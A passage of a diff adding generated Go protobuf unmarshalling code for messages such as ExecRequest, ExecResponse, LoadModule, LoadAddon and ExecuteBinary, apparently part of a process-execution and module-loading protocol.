protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Drives = append(m.Drives, &DriveInfo{}) + if err := m.Drives[len(m.Drives)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PsResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Processes", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Processes = append(m.Processes, &Process{}) + if err := m.Processes[len(m.Processes)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Singleton", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Singleton = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Realtime", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Realtime = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StatusCode", wireType) + } + m.StatusCode = 0 + m.StatusCode, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stdout = append(m.Stdout[:0], dAtA[iNdEx:postIndex]...) + if m.Stdout == nil { + m.Stdout = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stderr = append(m.Stderr[:0], dAtA[iNdEx:postIndex]...) + if m.Stderr == nil { + m.Stderr = []byte{} + } + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BinaryResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BinaryResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BinaryResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Message = append(m.Message[:0], dAtA[iNdEx:postIndex]...) + if m.Message == nil { + m.Message = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + m.Status = 0 + m.Status, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Err", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Err = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Modules) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Modules: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Modules: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Modules", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Modules = append(m.Modules, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addons) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addons: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addons: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addon) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Depend = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadModule) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadModule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadModule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bundle = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadAddon) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Depend = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteAddon) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addon", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addon = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecuteBinary", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.ExecuteBinary == nil { + m.ExecuteBinary = &ExecuteBinary{} + } + if err := m.ExecuteBinary.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteBinary) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteBinary: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteBinary: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Param", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Param == nil { + m.Param = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Param[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + 